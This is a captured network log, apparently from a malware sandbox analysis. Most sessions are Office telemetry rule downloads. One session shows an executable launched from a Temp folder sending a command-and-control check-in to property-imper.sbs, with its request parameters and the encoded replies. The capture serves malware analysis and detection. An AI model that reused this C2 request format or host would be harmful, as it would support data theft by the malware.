2024-11-23 02:21:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:30 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 6fd3b960-801e-00ac-6c64-3bfd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022130Z-178bfbc474btvfdfhC1NYCa2en00000003x000000000aagv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:30 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:32 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:32 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 9cc78053-901e-008f-7b8c-3a67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022132Z-174c587ffdfp4vpjhC1TEBybqw00000002bg0000000057ve x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:32 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:32 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:32 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 171aa64f-101e-005a-5b63-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022132Z-178bfbc474bbbqrhhC1NYCvw7400000003x000000000m3f9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:32 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49814	172.67.162.84	443	8096	C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:32 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: property-imper.sbs
2024-11-23 02:21:32 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-23 02:21:32 UTC	1012	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jhgmfm98pjoo1kanm3ja57f18b; expires=Tue, 18-Mar-2025 20:08:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NnKTBeaYRXQUBP2JDZTW0sKSn%2BD8IPdMMeRZmdWWWoVpEhjTn0mtDz7Ss9SAHc3EZl1uXQXME8att7Rmm9F4T8CIqSalRaLfGvEXe1zMCjfSVfsYEN0pvtXQURYHj%2FJr24qgKXA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e6dafb58a61432b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1702&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=955&delivery_rate=1681059&cwnd=189&unsent_bytes=0&cid=236170139813fc64&ts=1113&x=0"
2024-11-23 02:21:32 UTC	357	IN	Data Raw: 34 65 30 0d 0a 39 73 78 64 58 61 4e 43 67 41 52 61 5a 48 6f 37 32 4e 77 56 71 6a 51 7a 33 4b 45 53 36 6c 58 69 2f 41 75 4c 41 4f 63 2f 71 58 71 4e 37 69 74 2f 6d 58 61 73 4a 69 6b 42 57 41 47 73 72 6d 44 50 47 42 47 39 78 54 44 51 4d 34 4f 51 65 4f 34 73 78 55 6e 45 57 4d 79 71 50 44 48 51 4a 36 77 6d 50 78 78 59 41 59 4f 6e 4e 38 39 61 45 65 61 44 64 34 41 33 67 35 42 70 36 6d 75 49 54 38 55 5a 6e 71 41 36 4e 63 59 68 35 47 55 32 43 52 39 65 76 62 31 2f 78 46 31 65 74 4d 77 77 78 6e 65 48 68 69 6d 78 49 71 70 61 33 52 75 37 72 53 34 32 67 54 2b 73 66 33 67 42 46 42 6e 69 2f 6e 54 50 56 6c 2b 36 78 58 6d 43 50 59 71 59 61 4f 39 71 6c 31 62 50 45 70 36 75 4f 54 54 4d 4b 50 42 6f 50 41 34 55 57 4c 65 39 4e 34 59 57 56 71 61 44 4b 4d 68 6b 73 70 31 34 2b 48 Data Ascii: 4e09sxdXaNCgARaZHo72NwVqjQz3KES6lXi/AuLAOc/qXqN7it/mXasJikBWAGsrmDPGBG9xTDQM4OQeO4sxUnEWMyqPDHQJ6wmPxxYAYOnN89aEeaDd4A3g5Bp6muIT8UZnqA6NcYh5GU2CR9evb1/xF1etMwwxneHhimxIqpa3Ru7rS42gT+sf3gBFBni/nTPVl+6xXmCPYqYaO9ql1bPEp6uOTTMKPBoPA4UWLe9N4YWVqaDKMhksp14+H
2024-11-23 02:21:32 UTC	898	IN	Data Raw: 4d 41 30 54 58 4b 69 31 66 73 56 62 55 62 50 4a 66 34 73 33 68 35 52 6a 35 6d 69 42 55 4d 59 65 6c 4b 35 2f 63 59 45 6e 2b 69 5a 67 52 6a 74 63 71 72 6c 37 33 68 52 72 2f 74 77 2b 6b 58 65 48 6b 69 6d 78 49 6f 31 59 79 42 75 66 6f 54 77 33 79 6a 4c 69 64 44 34 4c 48 55 75 38 75 33 6e 43 56 55 4f 30 7a 58 61 4c 50 6f 75 58 62 4f 35 6d 78 52 4f 4c 48 34 7a 75 5a 33 2f 67 4c 65 6c 71 4d 68 45 59 47 61 58 77 62 6f 68 52 58 66 36 62 4d 49 77 32 68 4a 39 74 35 32 79 42 55 63 30 57 6d 61 45 35 4e 63 45 6e 36 47 34 77 42 78 56 53 74 62 35 79 78 56 4a 58 73 73 4a 31 79 48 6e 41 6d 58 47 70 4f 73 56 7a 7a 42 75 47 37 41 6f 38 7a 79 37 6c 63 48 67 5a 56 6b 44 36 75 58 75 49 44 68 47 77 78 6e 2b 61 4e 70 4b 62 5a 2f 74 75 67 46 76 47 47 35 71 75 4f 6a 6a 4d 4c 75 52 Data Ascii: MA0TXKi1fsVbUbPJf4s3h5Rj5miBUMYelK5/cYEn+iZgRjtcqrl73hRr/tw+kXeHkimxIo1YyBufoTw3yjLidD4LHUu8u3nCVUO0zXaLPouXbO5mxROLH4zuZ3/gLelqMhEYGaXwbohRXf6bMIw2hJ9t52yBUc0WmaE5NcEn6G4wBxVStb5yxVJXssJ1yHnAmXGpOsVzzBuG7Ao8zy7lcHgZVkD6uXuIDhGwxn+aNpKbZ/tugFvGG5quOjjMLuR
2024-11-23 02:21:32 UTC	1369	IN	Data Raw: 31 38 61 36 0d 0a 4d 51 38 4b 55 37 61 77 5a 63 56 63 56 4c 44 50 64 59 63 33 67 5a 39 6e 34 32 6e 46 45 34 73 66 6a 4f 35 6e 66 2b 34 74 38 6e 51 79 44 51 6b 62 6a 37 31 35 78 6c 46 48 2f 74 77 2b 6b 58 65 48 6b 69 6d 78 49 6f 35 62 78 78 53 55 71 43 30 78 7a 6a 4c 6f 64 44 77 49 48 46 57 30 74 33 72 48 55 30 4f 36 77 32 4b 4a 4d 6f 65 51 5a 50 74 6e 78 52 4f 4c 48 34 7a 75 5a 33 2f 37 46 4f 56 32 4b 51 46 61 62 4c 6d 77 65 63 39 41 45 61 47 4e 61 63 67 77 6a 4e 34 78 71 57 47 4a 55 4d 49 64 6d 37 77 31 4d 38 41 79 35 57 38 78 44 42 6c 58 74 62 56 37 7a 55 52 61 73 63 74 2f 69 54 71 4e 6c 57 33 70 49 73 73 64 7a 41 44 55 39 6e 38 65 7a 43 2f 77 5a 53 6c 45 4c 56 71 30 73 48 44 65 46 6b 37 77 32 6a 43 50 4f 38 44 47 4b 65 68 75 69 56 7a 45 48 70 36 6d 50 Data Ascii: 18a6MQ8KU7awZcVcVLDPdYc3gZ9n42nFE4sfjO5nf+4t8nQyDQkbj715xlFH/tw+kXeHkimxIo5bxxSUqC0xzjLodDwIHFW0t3rHU0O6w2KJMoeQZPtnxROLH4zuZ3/7FOV2KQFabLmwec9AEaGNacgwjN4xqWGJUMIdm7w1M8Ay5W8xDBlXtbV7zURasct/iTqNlW3pIssdzADU9n8ezC/wZSlELVq0sHDeFk7w2jCPO8DGKehuiVzEHp6mP
2024-11-23 02:21:32 UTC	1369	IN	Data Raw: 6d 5a 6a 55 4e 46 6c 65 7a 73 6e 2f 45 55 55 4f 7a 78 6e 69 43 50 6f 57 53 5a 4f 70 77 68 6c 79 4c 56 74 53 70 4a 33 2b 5a 59 4d 56 56 44 79 56 59 52 76 53 6e 4e 38 39 61 45 65 61 44 63 59 41 77 6a 70 70 37 35 33 43 4c 57 73 73 65 6e 4b 59 34 4d 38 38 75 38 47 34 35 42 68 5a 57 73 72 64 7a 79 56 4a 56 73 73 51 77 78 6e 65 48 68 69 6d 78 49 71 31 65 30 51 4c 57 67 44 51 2f 78 6a 44 30 66 58 67 5a 56 6b 44 36 75 58 75 49 44 68 47 36 79 48 71 42 4e 49 6d 61 5a 4f 6c 72 69 6c 54 44 46 5a 79 38 50 6a 58 54 4a 4f 64 6e 4e 77 77 63 55 62 61 78 65 38 78 45 57 76 36 4e 4d 49 38 76 77 4d 59 70 79 57 6d 54 66 74 6b 4b 31 4c 46 78 4a 6f 45 6e 37 69 5a 67 52 68 46 56 75 37 39 39 7a 6c 31 55 73 38 4e 31 67 6a 43 4d 6e 6d 6e 71 5a 49 4e 51 77 78 43 59 6f 6a 77 79 78 43 Data Ascii: mZjUNFlezsn/EUUOzxniCPoWSZOpwhlyLVtSpJ3+ZYMVVDyVYRvSnN89aEeaDcYAwjpp753CLWssenKY4M88u8G45BhZWsrdzyVJVssQwxneHhimxIq1e0QLWgDQ/xjD0fXgZVkD6uXuIDhG6yHqBNImaZOlrilTDFZy8PjXTJOdnNwwcUbaxe8xEWv6NMI8vwMYpyWmTftkK1LFxJoEn7iZgRhFVu799zl1Us8N1gjCMnmnqZINQwxCYojwyxC
2024-11-23 02:21:32 UTC	1369	IN	Data Raw: 43 42 6c 66 74 72 4d 33 68 68 5a 57 70 6f 4d 6f 79 42 43 61 6b 32 2f 2b 63 37 42 61 79 30 6e 55 73 58 45 6d 67 53 66 75 4a 6d 42 47 46 56 57 77 73 33 4c 4d 58 6c 61 39 77 6e 79 4d 4f 6f 32 61 59 4f 31 6e 6c 30 2f 4e 46 70 53 68 4d 54 44 4e 4d 75 78 6a 4f 41 70 59 46 2f 71 35 62 34 67 4f 45 59 2f 55 63 4d 67 6f 7a 6f 63 70 37 6d 37 46 42 59 73 58 6d 62 77 7a 4d 4d 45 68 34 57 49 7a 41 52 35 66 75 37 31 79 79 31 4e 58 76 38 4e 38 67 6a 43 49 6c 47 66 6b 5a 49 46 62 7a 56 6a 61 37 6a 67 6e 67 58 69 69 56 44 55 49 45 56 71 38 73 32 48 67 5a 78 47 68 6a 57 6e 49 4d 49 7a 65 4d 61 6c 6d 6a 6c 58 48 48 5a 79 72 50 6a 66 4c 4b 4f 31 70 4b 67 63 58 55 4c 32 31 65 73 64 59 56 4c 44 52 64 34 4d 38 69 4a 64 6e 37 79 4c 4c 48 63 77 41 31 50 5a 2f 43 63 49 75 36 58 63 Data Ascii: CBlftrM3hhZWpoMoyBCak2/+c7Bay0nUsXEmgSfuJmBGFVWws3LMXla9wnyMOo2aYO1nl0/NFpShMTDNMuxjOApYF/q5b4gOEY/UcMgozocp7m7FBYsXmbwzMMEh4WIzAR5fu71yy1NXv8N8gjCIlGfkZIFbzVja7jgngXiiVDUIEVq8s2HgZxGhjWnIMIzeMalmjlXHHZyrPjfLKO1pKgcXUL21esdYVLDRd4M8iJdn7yLLHcwA1PZ/CcIu6Xc
2024-11-23 02:21:32 UTC	1369	IN	Data Raw: 37 75 78 4e 34 59 57 56 71 61 44 4b 4d 67 47 6c 70 6c 75 35 69 43 73 57 74 41 5a 6e 71 30 30 4d 34 45 2f 72 48 39 34 41 52 51 5a 34 76 35 36 78 46 74 56 72 4d 39 77 69 44 36 48 6c 48 76 6d 62 59 68 65 79 78 32 47 72 79 30 77 79 69 58 68 59 6a 63 4a 46 46 47 77 2f 6a 6d 49 55 55 6e 2b 6d 7a 43 6b 4e 4a 47 55 4b 38 35 34 6b 31 72 48 43 5a 2b 6a 4d 33 2f 65 62 76 73 6d 50 77 70 59 41 66 71 2b 64 73 56 45 56 4c 2f 4a 65 6f 55 2f 6a 35 74 73 35 6d 61 42 56 73 55 4b 6d 71 45 2f 4f 63 6f 68 35 32 55 7a 44 42 5a 51 71 50 34 35 69 46 46 4a 2f 70 73 77 6f 69 79 42 6b 32 57 72 54 49 35 4c 7a 46 71 31 6f 44 51 34 7a 54 61 69 65 58 59 66 57 46 36 32 2f 69 2b 49 58 31 2b 79 77 48 65 41 50 34 57 65 59 75 6c 74 6a 31 50 4d 43 70 36 69 4e 53 33 4f 49 2b 39 69 4e 51 77 64 Data Ascii: 7uxN4YWVqaDKMgGlplu5iCsWtAZnq00M4E/rH94ARQZ4v56xFtVrM9wiD6HlHvmbYheyx2Gry0wyiXhYjcJFFGw/jmIUUn+mzCkNJGUK854k1rHCZ+jM3/ebvsmPwpYAfq+dsVEVL/JeoU/j5ts5maBVsUKmqE/Ocoh52UzDBZQqP45iFFJ/pswoiyBk2WrTI5LzFq1oDQ4zTaieXYfWF62/i+IX1+ywHeAP4WeYultj1PMCp6iNS3OI+9iNQwd
2024-11-23 02:21:32 UTC	842	IN	Data Raw: 75 49 44 68 47 2b 78 33 79 4c 4d 49 36 52 5a 4f 5a 6c 6a 6c 4c 42 46 6f 61 68 4f 6a 66 4e 4b 4f 39 30 4d 67 77 4b 55 4c 4f 7a 65 63 42 45 55 76 36 4e 4d 49 38 76 77 4d 59 70 32 32 69 47 55 64 30 56 6d 2b 34 67 63 64 68 67 35 57 70 34 58 6c 68 4c 71 4c 35 38 79 46 46 66 72 4d 4a 34 68 7a 32 41 6d 47 4c 6a 59 59 78 5a 78 52 47 53 72 7a 49 2b 77 43 44 6e 5a 6a 45 55 46 52 6e 30 2f 6e 44 51 46 67 6e 2b 39 48 79 44 42 6f 4f 49 4b 66 59 73 6e 42 33 4d 46 4e 54 32 66 7a 37 54 4c 65 70 69 4f 41 73 65 55 72 75 2f 64 4d 68 57 55 72 37 47 65 34 63 78 68 35 4e 6a 34 47 75 58 56 63 38 4b 6c 4b 49 37 66 34 39 67 35 58 35 34 58 6c 68 70 75 62 56 37 79 46 74 45 2f 74 77 2b 6b 58 65 48 6b 69 6d 78 49 6f 31 57 77 42 36 66 72 54 77 78 79 69 72 74 61 54 49 41 48 6c 47 2f 76 Data Ascii: uIDhG+x3yLMI6RZOZljlLBFoahOjfNKO90MgwKULOzecBEUv6NMI8vwMYp22iGUd0Vm+4gcdhg5Wp4XlhLqL58yFFfrMJ4hz2AmGLjYYxZxRGSrzI+wCDnZjEUFRn0/nDQFgn+9HyDBoOIKfYsnB3MFNT2fz7TLepiOAseUru/dMhWUr7Ge4cxh5Nj4GuXVc8KlKI7f49g5X54XlhpubV7yFtE/tw+kXeHkimxIo1WwB6frTwxyirtaTIAHlG/v
2024-11-23 02:21:32 UTC	1369	IN	Data Raw: 38 30 30 0d 0a 6c 67 70 57 55 71 46 42 35 61 72 4c 30 77 39 6d 68 53 71 4d 35 2f 67 7a 61 2b 6f 45 66 6b 59 34 5a 54 69 53 6d 43 6f 79 38 38 78 43 66 63 57 44 59 42 44 46 36 30 75 48 65 49 47 42 47 78 67 79 69 78 64 38 6a 65 56 71 63 69 6e 52 32 54 57 4b 47 74 4d 54 48 47 4e 76 4d 72 47 78 41 56 56 72 47 2f 4e 34 59 57 56 2f 36 62 49 4d 5a 33 68 49 38 70 73 54 4c 58 42 70 35 4c 77 2f 35 74 49 49 38 35 6f 6e 42 34 58 6b 6f 58 2b 71 77 33 6b 42 59 57 73 4d 35 78 69 7a 6d 44 6a 48 76 76 59 5a 4e 65 6a 43 61 71 6a 7a 49 30 7a 53 33 74 62 51 59 34 4f 56 53 78 73 6e 72 48 58 57 2b 41 31 6e 4f 47 4f 59 65 49 65 4b 6b 73 78 56 4b 4c 51 4b 33 75 64 33 2f 2b 62 71 4a 2b 65 46 35 59 62 4c 6d 77 65 63 39 41 51 50 50 69 66 59 4d 37 6a 5a 46 69 71 53 7a 46 57 34 74 41 Data Ascii: 800lgpWUqFB5arL0w9mhSqM5/gza+oEfkY4ZTiSmCoy88xCfcWDYBDF60uHeIGBGxgyixd8jeVqcinR2TWKGtMTHGNvMrGxAVVrG/N4YWV/6bIMZ3hI8psTLXBp5Lw/5tII85onB4XkoX+qw3kBYWsM5xizmDjHvvYZNejCaqjzI0zS3tbQY4OVSxsnrHXW+A1nOGOYeIeKksxVKLQK3ud3/+bqJ+eF5YbLmwec9AQPPifYM7jZFiqSzFW4tA
2024-11-23 02:21:32 UTC	686	IN	Data Raw: 48 2f 42 66 56 6c 4b 41 41 62 5a 34 53 56 65 38 35 52 53 37 6e 46 56 71 68 33 7a 74 35 6d 71 54 71 38 48 59 4e 59 71 2b 42 2f 4a 34 46 34 6f 6c 4d 37 43 42 5a 65 72 4b 38 36 37 55 46 53 72 73 56 7a 79 48 6e 41 6d 43 6d 78 4d 73 73 64 7a 77 6e 55 39 6d 39 74 6d 6e 57 78 4d 57 68 55 42 78 65 6a 2f 6d 47 49 44 67 50 77 67 32 4c 49 62 38 44 5a 61 76 74 77 67 31 37 64 47 39 4f 51 41 52 6e 43 4d 65 68 48 4e 52 59 66 5a 34 53 72 64 4d 5a 59 56 71 6a 53 4d 4d 5a 33 6a 39 34 78 30 43 4c 4e 45 63 30 62 67 75 34 41 63 59 45 34 6f 6a 35 34 4d 78 74 58 74 4c 6c 68 32 52 74 33 76 64 4a 36 71 54 71 51 6d 53 6d 6e 49 6f 4d 64 6b 30 76 61 37 6a 73 75 67 58 69 79 4e 47 4e 54 53 77 37 71 37 47 69 47 54 78 47 6f 67 79 6a 61 65 63 43 4d 4b 62 45 69 77 6c 37 5a 43 70 4b 74 4b Data Ascii: H/BfVlKAAbZ4SVe85RS7nFVqh3zt5mqTq8HYNYq+B/J4F4olM7CBZerK867UFSrsVzyHnAmCmxMssdzwnU9m9tmnWxMWhUBxej/mGIDgPwg2LIb8DZavtwg17dG9OQARnCMehHNRYfZ4SrdMZYVqjSMMZ3j94x0CLNEc0bgu4AcYE4oj54MxtXtLlh2Rt3vdJ6qTqQmSmnIoMdk0va7jsugXiyNGNTSw7q7GiGTxGogyjaecCMKbEiwl7ZCpKtK

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:32 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:32 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 23cbbb45-601e-0084-4e3d-3c6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022132Z-178bfbc474bvjk8shC1NYC83ns00000003rg000000005gpg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:32 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:32 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:33 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:32 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 925146da-101e-0034-3f87-3b96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022132Z-174c587ffdfcb7qhhC1TEB3x70000000029000000000nkud x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 02:21:33 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
